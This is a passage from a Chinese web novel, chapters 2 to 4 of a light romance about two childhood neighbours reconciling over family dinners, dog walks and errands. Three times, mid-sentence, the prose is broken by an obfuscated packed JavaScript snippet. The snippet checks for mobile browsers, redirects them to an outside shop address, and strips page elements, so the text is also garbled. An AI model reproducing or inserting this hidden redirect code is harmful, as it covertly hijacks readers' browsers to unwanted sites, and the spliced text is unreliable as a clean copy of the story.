《今天来我家吃饭》 2. 第 2 章 栗秋去过盛炽家不少次。 隔三差五去他家蹭饭,夏天俩人吹着空调看电视,冬天窝在家里打游戏。 没安密码锁前,盛炽家大门钥匙她都有一把,换了密码锁后,密码她也知道,严阿姨当时就跟她说了,有时候栗秋进盛炽家连门都不敲,开门就进。 但那是在他们没闹掰前。 栗秋盯着面前黑沉沉的大门,越发觉得严阿姨做了排骨喊她来吃的可能性不大,包是盛炽这厮心里憋着什么坏。 栗秋转身就要走,身后的门在此刻打开。 “小秋?”开门的是严慧芬,看见门外站的是栗秋后,她伸手拽住栗秋的手腕往家里拉,“我还寻思盛炽这孩子不会没喊你吧,咋这么久没来?” 栗秋立马笑脸相迎:“阿姨,我刚要回家拿个饮料来,可乐您喝不,我妈买了两提呢。” 严慧芬从鞋柜中拿出她的拖鞋:“天这么凉,喝什么可乐,我煲了汤。” “欸。”栗秋笑笑,自己在玄关换鞋。 她能听到厨房有炒菜的声音,推拉门打开,栗秋抬头看去,盛炽端了盘宫保鸡丁从厨房出来。 见到她来,盛炽跟平时一样,从她旁边经过时留了句:“洗手吃饭。” 严慧芬又戴上围裙进了厨房,还有道菜没出锅。 栗秋磨磨蹭蹭进了洗手间,洗手擦干,出来时盛炽已经在盛汤了,头也不抬问她:“喝多少?” “我自己盛就行了。”栗秋拿了个空碗,抢过盛炽手里的汤勺。 盛炽低头看她,栗秋到他肩膀往上,这个角度看过去,能瞧见她毛茸茸的头顶。 栗秋盛好自己的汤,又给盛炽爸妈盛了汤,放在对面两个位置,她习惯了在盛炽家吃饭,每回都和盛炽坐一块儿,现在手比脑子快,几乎是下意识的反应。 盛炽弯了弯唇,进洗手间洗手去了。 盛炽父亲盛涛成是这时候回来的,见到栗秋后还挺高兴:“大半年没见了啊小秋,回来咋不打个电话,让盛炽去机场接你,接着,给你买的烧鸡。” 盛涛成是个初中数学教师,今天在学校改期末卷子,回来也晚了些,听了栗秋回家的消息,特意拐去西边街上买了栗秋爱吃的那家烧鸡,刚好赶上最后一只鸡出炉。 栗秋忙接过来:“谢谢盛叔叔,外面下雪,我就没麻烦你们。” “麻烦什么,咱都一家人。”严慧芬放好筷子,笑着说道,“我六点给你爸妈打电话,听说小秋要回来,盛炽这孩子穿上外套就出去了,人小秋都走到巷子口了。” 栗秋冷不丁跟刚从洗手间出来的盛炽对视,双目相对,盛炽先错开目光,颇为自然地接话:“看我干什么,能吃饱饭啊。” 盛炽进了厨房将放在隔热板上的菜端出来,栗秋暗自嘀咕,看盛炽也不像生气的样子,他们这是和好了? 现在是吃饭的时候,六道菜端出来,三荤三素加一道汤,栗秋扫了一眼,都是她爱吃的。 “小秋,快坐。”严慧芬颇为热情,她很喜欢栗秋这孩子,栗秋记事起,严慧芬就对她很照顾。 “阿姨你也坐。”栗秋在盛炽旁边坐下,乖巧应了一声。 盛涛成说:“小秋半年没吃我们家的饭了,尝尝。” 栗秋在盛家吃了不少饭,跟进自家一样夹了块排骨,咬了口后觉得自己的味蕾宛如要升天了般。 栗秋竖起大拇指:“好吃,比我们学校那十二块一份,但只有两块排骨的砂锅强多了,我在学校就惦记着这一口。” 栗秋的情绪价值总是给得十分到位,严慧芬听了乐呵起来,将排骨往栗秋那边推推:“多吃点,在学校都吃点啥啊,看着都瘦了。” 栗秋嘀咕:“吃点纯添加零天然的东西。” 严慧芬一愣:“什么?” 盛炽接话:“泡面,炸鸡。” 栗秋默默为盛炽竖了个大拇指,知她者盛炽也。 盛涛成皱眉:“哪能天天吃那些?” 栗秋刚啃完一根排骨,准备去夹另一块,碗里又放了个红烧排骨,她默默抬头看去,盛炽在吃饭,仿佛刚才给她夹排骨是顺手的事。 栗秋更坐立难安了,难不成盛炽这是示好的意思? 那她当时跟盛炽说那么重的话,是不是也得表个态? 盛炽刚喝了口汤,一低头,碗里放了块排骨。 他顿了瞬,侧眸看过去,栗秋埋头扒饭,看起来跟八辈子没吃过饱饭一样,把严慧芬和盛涛成看得直心疼,忙给她夹菜。 盛炽夹起排骨咬了口。 排骨挺香的。 饭桌闲聊,大多是栗秋在说自己的大学生活,但扯着扯着,就莫名扯到了他们报大学的事上。 盛涛成看了看盛炽:“当时想着让你俩报一块去,盛炽回来说他想去苏城大学,你想去沂岚大学,我和你严阿姨寻思,各有意向,也不能逼着你们报一块儿,这就算了。” 栗秋啃骨头的动作慢了下来。 合着盛炽没跟家里人说他们吵架的事,怪不得连栗泽和苏芝华都没问,估摸着以为他们还在联系。 栗秋是知道盛炽报了苏城大学的,跟爸妈打电话的时候,老两口给她透露了些。 严慧芬也道:“你俩一分开,我还有点担心小秋会不会不适应,以前都是盛炽给你背包的。” “大学上课,带个课本就行,也不沉。”栗秋默默道。 “算了,现在志愿都报好了,也没办法。”严慧芬叹了口气,“你毕业后还打算考研吗?” 栗秋道:“考吧。” 严慧芬点点头:“盛炽也考,你俩说不定还能考一块儿去。” 栗秋没吭声了,低头吃饭,盛炽也不主动说话,两个家长问一句,俩孩子回一句。 吃完饭,盛炽主动起身收拾,栗秋也跟着进了厨房。 大人做饭,他们两个小辈刷碗,都是过去默认的,盛炽在栗秋家吃饭也这样。 盛炽打上洗洁精,将刷好的碗递给栗秋,栗秋过几遍清水冲掉泡沫后放进碗柜。 厨房和客厅有道推拉的隔断门,厨房不大,盛炽生得高,栗秋觉得自己像是被他堵在角落里,右边就是墙,左边就是他。 盛炽忽然开口:“寒假多少天?” 栗秋:“就一个月,过完正月十五开学。” “准备干什么?” “在家待着啊,顺便帮我妈看看店。” 盛炽笑了声。 栗秋幽幽看他:“说,你又在心里骂我什么了?” 盛炽低头和她对视:“没骂你。” 栗秋不依不饶:“骗人,没骂我你笑什么?” 盛炽眉梢微扬:“我笑一下就必须得是骂你?” 栗秋白他一眼:“那难不成是觉得我可爱善良温柔大方?” “嗯,可爱善良温柔大方。”盛炽道。 阴阳怪气,今晚就毒哑盛炽这家伙的嘴。 栗秋面无表情放好最后的盘子,洗手后,对着盛炽甩了甩,水珠全甩他脸上了。 厨房只剩盛炽一个人,他擦干净琉璃台,回头看去,透过玻璃窗看到正抱着膝盖缩在沙发上,和严慧芬看电视的栗秋。 小学一年级栗秋帮爸妈看店,别人给五十块,她找了别人三张二十块的事,盛炽一直记到现在。 每回看到她坐在店里,都会想起那件事。 - 晚饭后,严慧芬和盛涛成出去散步。 栗秋一到冬天就自动进入休眠模式,身上各个零件没一个想动的,刚想拒绝就被严慧芬拽了起来。 “出去走走散散步,回家干什么,你爸妈在你舅家呢。” 吃完饭才九点,从巷子里出去就是个公园,说不上大,绕着走一圈也就三十分钟,但人流量不小,冬天也热闹。 早上天不亮就有人在这里打太极,晚上也有跳广场舞的,年轻人出来遛狗,两边都有摆摊卖玩具的,栗秋小时候也老缠着爸妈买这些。 严慧芬和盛涛成走在最前面,栗秋裹着羽绒服跟在后面磨磨蹭蹭,拉开了一截距离。 盛炽和她并肩走,侧首看她,围巾裹住她的半张脸,栗秋走路不老实,踩踩雪踢踢雪球。 几个月没见,她剪了个刘海,风一吹,她过一会儿就得伸手扒拉一下,后来估计是烦了,干脆不管了。 “大学生活怎么样?”盛炽忽然问她。 栗秋的半张脸埋进围巾里,说话闷闷的:“就那样呗,上课下课,没课就躺。” “课多吗?” “还好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088039|195398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比高中轻松点。” 盛炽笑了声,栗秋还没来得及问他笑什么,远处一坨黑影扑上来,热烘烘的狗嘴在盛炽身上拱来拱去。 “小饼,坐好。” 盛炽牵住小饼脖子上的牵引绳,单手一指,小饼听得懂讯号,后腿一屈乖巧坐好,尾巴还在左右摆。 “小秋也在啊。”林大爷坐在斜对面的树下,看见盛炽和栗秋在一起,眼睛笑眯成一条线。 栗秋点了点头:“爷爷,我放寒假了。” 盛炽缠好牵引绳,说道:“我们去溜溜小饼,它估计想玩了。” 林大爷摆摆手:“去吧去吧,我都溜不动它,让它自个儿疯跑。” 小饼归一楼的林大爷养,但并不是林大爷救回来的,是盛炽和栗秋捡的流浪狗,一只田园犬,当时后腿骨折,俩人就送去宠物医院了。 救治好后,盛炽在给小饼找领养,小饼挺聪明的,林大爷独居,就养了它,说是看家。 栗秋“啧啧”两声,摸了摸小饼的脑袋:“又胖了啊饼。” 恶语伤狗心。 小饼好像翻了个白眼。 栗秋将手塞回口袋:“它是不是能听懂别人说它胖?” 盛炽点点头:“可能吧。” 栗秋问:“这几天都是你溜小饼吗?” 盛炽声音平和:“嗯,林大爷身体跟不上小饼这精力。” “你三天前放的假?” “嗯。” “那你寒假干什么?” “把科三考了。” 栗秋伸手摸摸鼻头,高考完的时候,栗泽和苏芝华都催她去考驾照,她觉得自己以后也不买车,考那没用,也就没去。 但盛炽好像是去学驾照了。 “你暑假没考完吗?”栗秋有些不理解,盛炽学什么都挺快的,一个暑假两个多月,按理应该是能直接考完的。 盛炽拽了拽疯狂往前跑的小饼:“没,暑假有点事。” “什么事啊?” “一点小事。” 栗秋心里寻思,难不成因为和她吵架心情不好,那也不至于郁闷几个月吧。 她忽然站定:“盛炽。” 盛炽也站住,扯了扯牵引绳:“小饼,等会儿。” 小饼乖乖蹲在盛炽脚边。 栗秋别扭道:“那个……暑假我跟你说的话有点过分了,我得跟你道个歉。” 盛炽看着她:“嗯?” 栗秋仰头看他,心一横说道:“对不起,我说讨厌你那句话,当时我真的气上头了。” 盛炽忽然低头,碎发遮不住凌冽的五官轮廓,他与她平视,距离近到栗秋甚至能闻到他身上洗衣液的味道,似乎永远都干净利落。 栗秋直愣愣站着,听到盛炽问她:“哦,那你讨厌我吗?” 栗秋以前觉得,她是讨厌他的,她和盛炽从小住对门,这么一个聪明冷静,样样都能干好的人在她身边待了十几年,自己每一个至暗时刻都被他见证过,在盛炽面前,她几乎没有秘密。 有时候她会觉得,盛炽老给她添堵,两家坐在一起的话题就围着他们两个分不开了,栗秋也是个好强的性子,铆足了劲跟他比。 栗秋确实有讨厌他的时候。 盛炽安安静静看着她,也没开口催。 半晌,栗秋嘟囔说:“……也没有那么讨厌吧。” “嗯,我知道了。”盛炽弯了弯唇,站直身子,小饼狗头一甩朝前跑。 栗秋:“?” 他什么反应啊? 栗秋追上去,边走边问:“那我们还绝交吗?” 盛炽侧眸看她:“我什么时候说绝交了?” 栗秋:“那你大半年不理我!” 盛炽:“是你先不回我微信的。” 栗秋嘴硬:“那谁让你发的话那么难听!” 盛炽点头:“我的错,对不起。” 栗秋又惊了,他认错怎么这么痛快,盛炽可是个十足的犟种。 见她瞪大眼,盛炽抬手在她发上揉了揉,扒拉掉她发顶上的雪。 “呆瓜。” 盛炽牵着小饼,一人一狗扬长而去。 栗秋站在原地,半晌反应过来,追上去骂道:“盛炽,摸头会长不高的!” 3. 第 3 章 栗秋家在街头开了个生活超市,店铺不大,生意倒是还可以,能顾着温饱,来客大多都是些附近的街坊邻居。 栗泽和苏芝华昨天回来得晚,栗秋干脆起早了些,自己去看一上午店。 早上七点,北方的天尚有些昏暗,风还大,就算家里有暖气,栗秋起床也是做了一番心理建设的。 栗秋还没睡醒,正刷着牙,自家大门开了。 她从洗手间探出头,盛炽在玄关换鞋。 栗秋嘴里含着牙膏,说话模糊不清:“你怎么起这么早?” “要去练车。”盛炽换上自己的拖鞋,单手解开羽绒服挂在玄关的衣架上,走过来将包子放在餐桌,“小米粥和八宝粥,你喝哪个?” “小米。”栗秋又缩了回去,挤在洗手间刷牙。 盛炽留了两份小米粥,将剩下两份八宝粥放进厨房,听着洗手间里刻意放小的刷牙声,抬头看去,栗秋闭着眼呢。 那就是还困着,栗秋昨晚两点游戏在线,现在才七点,她最多也就睡了五个小时。 栗秋从洗手间出来是三分钟后,随手抽了张洗脸巾擦干脸上的水,她戴着头箍,刘海都捋了上去,露出光洁的额头,光下白得耀眼。 因为栗泽和苏芝华还在睡着,栗秋声音很小,拉开椅子坐下,盛炽将包子推过来。 “你练车需要起这么早吗?”栗秋小声问他。 盛炽正在喝粥,闻言回道:“驾校远,八点开始。” “你爸妈呢,醒了吗?” “醒了,在吃饭。” 栗秋点点头,那盛炽应该是买了两家的早餐,厨房里那两份是给栗泽和苏芝华留的。 盛炽拿起茶叶蛋在桌上敲了敲,熟练剥壳递过来。 栗秋抬头瞥他:“……你怎么忽然这么会做人?” 盛炽作势就要收回去:“那我吃。” 栗秋一个飞扑握住他的手,将茶叶蛋夺回来:“你看你又急。” 盛炽看了眼自己的手背,指节蜷了蜷,目光上移落在对桌的栗秋身上,瞧见她鼓囊囊的腮帮子,让他想起国庆时候她发的朋友圈。 栗秋交了新朋友,和朋友去玩剧本杀,脸上涂得看不清模样,对着镜头鼓起腮帮子装凶,其实一点都不凶。 “对了,你今天学完车几点回来?”栗秋忽然问他。 盛炽继续吃饭,抽空回道:“下午就回来了,怎么了?” “我妈说晚上喊上你爸妈一块儿吃饭,让我去买菜。”栗秋喝了口粥,将茶叶蛋咽下,拍了拍胸口清清嗓子,又说道,“你跟我一块儿去呗,就东边那个菜市场,骑个车去。” 盛炽眉头一皱,起身绕过去拍了拍她的背:“东边那个菜市场关了,要买菜得绕远点,打车去吧。” 栗秋点点头:“也行。” 盛炽见她不噎了,收回手坐回去。 两人吃饭动静很小,十来分钟吃完饭,盛炽将餐盒收拾干净,擦了擦桌子,栗秋也换好衣裳出来,正边走边裹围巾。 今天要看店,兴许还得上货,她换了身黑色耐脏的羽绒服,围的是条红黑格子纹的围巾,是栗秋十八岁的时候,盛炽送的生日礼物。 小几千块,一条昂贵的围巾,但栗秋似乎没查过价钱,还是塞洗衣机里洗,这围巾也耐造,这么多次都没洗坏,盛炽也没吭声。 栗秋裹好围巾换鞋,盛炽已经按了电梯在门外等她。 一出居民楼,迎面就是夹着雪碴的风,栗秋缩起脖子,搓了搓冰凉的脸。 冬天干活就是对人类最大的酷刑,出门就吹西北风,不出门就得喝西北风。 化雪的时候可比下雪要冷多了,盛炽今天查了气温,得有零下七八度了。 “这两天都大风,出门戴上口罩。” 盛炽皱眉,拽住栗秋的围巾往上扯扯,盖住她半张脸,只露出双乌黑透亮的眼睛,戴了副黑色大框眼镜,瞧着呆呆的。 栗秋懵懵问:“你不也没戴口罩?” “不冷。”盛炽敲敲她的脑袋,转身就走。 栗秋揉揉额头,跟在他身后,心里嘀咕,那他还是脸皮厚不怕风吹。 盛炽送栗秋去了巷子口,栗秋家的店就在那里,卷帘门被盛炽推上去。 栗秋打开玻璃门,先把空调开了,给盛炽拿了瓶水塞到他怀里:“下午回来给我发微信。” “嗯。”盛炽看她这没心没肺的样子,又不放心,叮嘱道,“要是上货,太沉的东西你放着,我下午帮你,门口的雪你铲不动,等我回来铲。” 栗秋点点头,推着他往外走:“知道了知道了,你赶紧走吧,不是八点开始吗?” 盛炽提前叫好了车,就在巷子口,街上的雪已经都化得差不多了,路上的车也开始多了起来。 盛炽刚上车,微信弹了消息,但不是栗秋。 贺霁川:【盛子,方子他们也放假了,一起出来吃饭啊。】 盛炽:【什么时候?】 贺霁川:【今天下午,老想那家铁锅炖了,一块儿去吃呗,叫上方子他们。】 盛炽:【没时间。】 【?你不是就上午练车吗?】 【有事。】 【多大的事啊,就一个下午,半年没见,出来聚个餐都忙!】 【大事。】 贺霁川发了个表情包。 狗听了都翻白眼jpg. 盛炽退出聊天框,回了他爸妈的微信,微信弹出了新的聊天框,头像是个瘫在椅子里的卡通小人。 小人旁边还有一串文字框:怎么学不会,一定有人在窃取朕的智慧。 看来栗秋的期末周不太好过。 栗秋:【咳咳。】 盛炽:【感冒了?】 栗秋:【无语jpg.】 栗秋:【请打开你的口袋。】 盛炽眉心微蹙,摸了摸羽绒服的口袋,里头装了两包巧克力,应该是栗秋刚才推他的时候塞进去的。 他反应过来,练车要练一上午,栗秋给他塞了巧克力,让他饿了垫垫。 栗秋:【谁能分得清我和天使?】 盛炽弯唇笑笑,打字回道:【看到了,多谢天使。】 天使憋着笑,缩在收银台后面的躺椅中,正盖着毯子烤小太阳,给盛炽发了个表情包。 栗秋:【再见jpg.】 看着手机屏幕上一朵闪耀的大红花,他母亲严女士爱发的表情包,盛炽默了瞬,切到和严女士的聊天框里找了个同系列的图。 盛炽:【好的jpg.】 栗秋收到微信没忍住笑了,果然,盛炽还是能秒懂她的抽象。 她盖上手机,打开平板追剧,这会儿超市没什么人,空调也还没暖起来,栗秋打算看一会儿电影后再去对账补货。 到九点半,超市陆续开始来人了,栗秋边补货边结账,现在都是手机支付,也不用她去算什么账,省了不少事,比小时候看店轻松多了。 中午的时候,苏芝华和栗泽来了超市。 苏芝华叮嘱她:“妈蒸了面条,在锅里,你回去热热吃啊。” “好好好。”栗秋任务完成,裹上围巾就往家里跑。 回去的时候刚好遇到严慧芬出门,她拎了袋垃圾。 “小秋,从店里回来了?” 栗秋笑盈盈回道:“对,准备回家,阿姨今晚和叔叔一起来我家吃饭,我妈说做饭呢。” 这事苏芝华早就跟严慧芬说了,严慧芬眉开眼笑:“好好好,快回去别冻着了。” 栗秋点点头,开门进家,一进去便是铺面而来的热气,地暖开了后整个屋里都是热烘烘的。 她脱下棉服挂起来,吃了碗面看了看时间,才十二点。 栗秋:【几点回来?】 盛炽是几分钟后回的消息:【大概两点半。】 栗秋:【OK,那我去补个觉,回来了给我发信息。】 发完微信,栗秋也没再看手机,换了身家居服,拉上窗帘打开投影,接着看上午没看完的电影,猫身捞了个毯子躺在沙发上,满足地叹了口气。 前些天大雪,今天就出了太阳。 马路上的雪已经全数化开,巷子里还有些积雪,不少人在铲自家店门口的雪,栗泽也去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088040|195398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借了个雪铲。 刚准备干活,有人接过他的雪铲:“栗叔,我来吧。” 栗泽抬头看见盛炽,忙跟他抢:“哎呦这么冷,别冻着手了,快回家去。” “没事,我来铲吧。”盛炽将雪铲换到另一只手上躲过栗泽,拎着雪铲从马路边开始铲,清出一条路。 栗泽拿他没办法,盛炽没少帮店里的忙,他掀开帘子进店,倒了盆热水将牛奶温上。 苏芝华正在对账,见他进来问道:“不是铲雪呢?” “小炽铲着呢。”栗泽指了指玻璃窗外。 苏芝华叹气:“多好的孩子,要是小秋还跟小炽一起上学,我哪儿还会担心。” “孩子大了有自己的想法,俩人又不是以后不见了。”栗泽闲不住,拿了个抹布擦拭货架,边擦边回。 苏芝华想到什么,压低声音道:“总觉得你姑娘跟小炽好像闹了矛盾,这半年往家打电话,都不提人家。” 栗泽想了下,迟疑道:“也没吧,早上我半梦半醒的时候,还听到俩人在客厅吃饭呢。” “没大事吧??” “……没吧。” 苏芝华和栗泽往窗外看去,盛炽个子高力气大,干活也利落,门前踩硬的雪很快便铲掉,清出了一条空阔的通道。 俩孩子小时候没少闹矛盾,长大了也不少吵架,但闹崩也是绝对不至于的,吵了架都不用双方家长去协调,一般第二天自动就和好了。 那应该是没什么大事,栗秋和盛炽怎么会闹掰呢? - 盛炽铲完雪,栗泽将热好的牛奶递给他:“小炽,你拿回去喝,小秋在家里呢,你俩下午要去菜市场吧?” “嗯,是,谢谢栗叔。”盛炽接过来,这没什么好推脱的。 他将两瓶牛奶塞进一侧羽绒服口袋,边往家走边看微信,半个小时前发的微信她到现在都没回,盛炽都不用想就知道她在睡觉。 估计是睡过头了,午休容易睡迷糊,平时的话,盛炽也就不管了,任她睡去,但今天她要去超市买菜,他要是不喊她,栗秋醒了一定先倒反天罡将他吵一顿。 盛炽敲了敲门,没人应,隔着门板都能听到里头有电视声,八成是追剧睡着了。 他干脆输了密码开门,俩人进彼此家熟得跟进自家一样,这些年早就习惯了。 盛炽在门口换鞋,脱了羽绒服,绕过玄关便瞧见客厅那面白墙在放着未播完的电影,而栗秋裹着毯子躺在沙发上,毛毯大半都搭在地上。 屋里窗帘拉得严严实实,密不透光,电影整体都是幽蓝色调,整个家里跟鬼屋一样。 他扭头一看,对上一张血盆大口,伴着叮叮咚咚的恐怖音响。 栗秋看的还是个恐怖片,这竟然也能睡得着。 盛炽找了遥控器按了暂停,在沙发边俯身,戳了戳栗秋的额头。 “栗秋,栗小秋,栗天使……” …… 栗秋觉得这简直像是梦。 耳边声音嘈杂,音乐声音极大,礼堂在开元旦晚会。 外头在下雪,栗秋写完作业匆匆从班里赶到礼堂,刚推开大门进去便撞上一人,迎面扑来的是干净的洗衣液香,她一抬头,看见盛炽。 盛炽抬手替她拂去头顶的雪,穿着校服,对她弯起眼眸。 “栗秋,呆瓜。” 少年眉眼清洌,轮廓俊美,笑起来的时候消去了些五官的凌厉,竟然有些温柔。 栗秋愣愣看他抬起手,捏住她的脸颊。 “栗秋。” 脸颊有些疼,栗秋忽然睁开了眼。 入目是幽蓝诡谲的光,面前堵了个黑影,瞧不清五官轮廓,只能看到体型高大挺拔,俯在她身前,像是要将她拢进怀里。 这人在掐她的脸。 栗秋一拳锤了上去。 面前的人躲不及,抽了口凉气,抬手捂住鼻子后退了几分。 栗秋坐起来,胸腔里的心跳快到几乎跳出来,压根没注意面前的人,满脑子就一个念头。 她就说是梦! 盛炽要是笑得那么温柔,那就有鬼了! 4. 第 4 章 “对不起。” 栗秋深深鞠躬。 盛炽“呵”了声:“这半年没少练啊,这么有劲儿。” 一拳揍上来,盛炽的鼻梁骨差点被她揍裂。 “力的作用是相互的,那我手也疼啊。”栗秋嘀嘀咕咕。 盛炽正拿着沾了药膏的棉签揉鼻梁,低头撇了眼她的手,栗秋一心虚就显得忙,双手揪在一起,毛衣袖口挡住手背,也看不清什么情况。 他扔了棉签,对栗秋道:“伸手。” 栗秋懵懵问:“啊?” 盛炽皱眉:“伸手啊。” 栗秋窝窝囊囊伸出了手。 盛炽拉起她的手,栗秋的指腹仍旧莹白,并无明显的淤红,但他还是抽了根棉签沾了点药膏,在她的指腹上擦抹。 冰冰凉凉的药膏接触肌肤,栗秋脊背汗毛都要倒立了,缩了缩手,没抽回去,盛炽拽住她的手腕往自己的怀里来了些。 “不是手疼吗,怎么,现在不疼了?”盛炽眼皮微掀看她。 栗秋强行挽尊:“不疼了啊。” 这倒是实话,她那一拳头砸到盛炽骨头上了,要论疼,盛炽应该比她疼。 盛炽低头皱眉,在她指腹抹了层药。 栗秋偏头凑过去,从侧面盯着他的鼻梁看,盛炽骨相优越,鼻梁很高,看着好像没什么事,也没流鼻血,就是有点红。 右手被他拉着,栗秋就抬起左手戳了戳他的鼻梁。 盛炽擦药的动作一顿,睫羽颤了颤,抬眸看她。 栗秋并未注意他的目光,仍盯着他的鼻梁看,有些不好意思说:“要不你去医院拍个片?” 盛炽的呼吸很轻,是他刻意放轻,只要这时候放任呼吸,每一缕吸进来的空气都会裹挟她的气息,衣袖上洗衣液的清香,以及她擦拭的护手霜味道,像是一种青草混杂薄荷的气息。 见他不说话,栗秋皱眉,又问了他一遍:“你要不要去拍个片啊,鼻梁这么高别被我锤塌了。” 盛炽扯了扯唇,侧脸避开她的手,垂眸敛去眸色:“又不是个拳击手,真当你那一拳能将人鼻骨揍碎?” 栗秋小声反驳:“那不是关心你嘛。” “别乱动,再不涂药伤就好了。” 盛炽在她看不出来的“伤口”上涂抹药膏,用掌心揉了揉,将药膏揉干化进肌肤里。 栗秋站得板板正正,莫名觉得有些刺挠,盛炽的掌心略有些烫,挨着她的手背,冰凉的药膏都能被他揉得滚烫起来。 她有些想躲,但抬头看他,只能看到他低垂的眼帘,以及根根分明的睫羽,恰好遮住他眼底的眸色。 盛炽这么正经,栗秋觉得自己要是乱动,显得有点心虚,好像她想歪了什么。 刚给她擦好药,栗秋立马抽回手,抬手顺顺睡炸毛的刘海,低头往洗手间走。 “我去吹个刘海。” 盛炽盯着她的背影看。 栗秋关上门,盥洗台上悬的镜子倒映出她略红的脸,她赶忙用清水拍了拍。 吹风机打开,声音略大,好像也一并遮住了她微快的心跳,栗秋胡乱吹吹刘海,将炸毛的刘海捋顺,随便扎了个低丸子头。 栗秋出去的时候,盛炽也收拾好被她睡乱的沙发,薄毯叠得整整齐齐,沙发套的褶皱也都捋顺了,栗秋看着又免不得心里嘀咕,难怪她过去看不顺盛炽。 当一个人太勤快的时候,就会衬得他身边的人太懒。 栗秋螃蟹走路般横着挪过去,边挪边指洗手间:“你去洗个手吧,不是有药膏吗?” “在另一个洗手间洗过了。”盛炽看着她,“你脸怎么这么红?” 栗秋摸摸脸,故作轻松回:“吹风机吹的啊,热风。” 盛炽点点头,栗秋觉得他应该是信了。 “三点多了,该走了。” 她果断岔开话题,拿起手机朝玄关走,穿上过膝的羽绒服,盛炽在她旁边穿衣服,衣料摩挲的声音窸窸窣窣,两人抬手之际胳膊撞在一起,栗秋顿了顿,默默往旁边挪了挪。 盛炽侧首看她,栗秋戴上围巾和帽子,将自己裹得严严实实。 她从小就容易感冒,尤其换季的时候,从上小学时候,盛炽就习惯包里装个备用的围巾和帽子,哪天栗秋没戴还能给她用上。 栗秋穿好就准备走,盛炽拉住她。 “戴上口罩。” 玄关的柜子上放了一盒口罩,盛炽拽出来两个,撕开给栗秋戴上,见她裹得严严实实只露出双眼睛,懵懵看着他。 盛炽抬手顺了顺她的刘海:“像个企鹅。” 栗秋扒拉开他的手,护住自己刚吹好的发型:“我刚吹的八字刘海,你别给我扒乱了。” 盛炽低头穿鞋:“你不是齐刘海吗?” “现在都叫空气刘海!”栗秋坚定反驳。 盛炽实在没明白有什么区别,又看了眼,之前栗秋是没刘海的。 有刘海也好看,怪可爱的。 更像个企鹅了。 盛炽笑了声,开门出去,栗秋气呼呼跟在他后面,俩人一起下了楼。 他们得走到巷子口才能打车,中间经过栗秋家的小超市,她进去拿了两根棒棒糖,将另一根递给盛炽。 “你爱吃的哈密瓜味。” 盛炽看着她,栗秋扬扬手:“接着啊,客气什么。” “嗯。”盛炽接过去没吃,揣进口袋里。 俩人站在路边等车,盛炽在回微信消息。 贺霁川:【我跟方子去吃饭了,不是,你真不来?】 盛炽:【有事。】 贺霁川:【到底什么事,兄弟都不要了!】 盛炽:【大事。】 贺霁川:【有十个亿的生意等着你去谈?】 盛炽:【嗯。】 【好样的兄弟。】 贺霁川给他竖了个手指,不过竖的是中指。 盛炽没理,看了眼身边的栗秋,她摘了口罩,叼着个棒棒糖正在看他。 “干什么?”盛炽一看她这眼神,就觉得栗秋心里包在想些乱七八糟的。 栗秋小声问他:“你大学有没有喜欢的人啊?” 盛炽皱眉:“什么?” 栗秋问:“就喜欢的女孩子啊,你放心我不跟你爸妈说。” 盛炽抬手抵住她凑过来的脑门,用了点力将她推了回去:“没有,别瞎想。” 栗秋揉揉脑袋,皱眉瞪他:“没有就没有嘛。” 她低头百无聊赖踢着路边的雪块,脑子里却在想宁然的话,也确实有点道理。 盛炽这厮生了副好皮相,初中高中都是学校的风云人物,也不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088041|195398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人托栗秋给他送情书,年少无知的时候栗秋帮过一次忙,被盛炽怼了一顿,自那之后再也不乱当好心人了。 长得又帅成绩又好,性格也…… 栗秋抬头瞥他一眼。 性格也勉勉强强吧,除了嘴有点欠,但挺勤快,三观也正,责任心强,在大学应该挺受欢迎的。 不是没有喜欢的人,应该挺难单到现在。 栗秋往他身边小碎步挪了挪,目视前方,肩膀撞撞他,问他:“你都没个理想型啥的?” 盛炽低头,瞧见栗秋戴着珊瑚绒帽子的脑袋,圆滚滚的。 他道:“有啊。” “真新奇。”栗秋抬头看他,“喜欢什么样的?” 盛炽看她:“喜欢傻的。” 栗秋:“……?” 栗秋不理解:“我还是第一次听到喜欢傻的,展开描述。” 盛炽再看她一眼:“像企鹅一样的。” 栗秋想了想:“太抽象了。” 盛炽总结:“我喜欢像企鹅一样的呆瓜。” 他顿了顿,看栗秋一脸不可思议的模样,默了瞬说:“理想型。” 车来了,盛炽走到路边示意司机停过来,栗秋双手揣在兜里看他的背影,心里莫名有点酸酸的。 盛炽喜欢企鹅一样的呆瓜,她一不像企鹅,二不是呆瓜,聪明又可爱的,盛炽的理想型首先就排除她了。 ……排除她又怎么了! 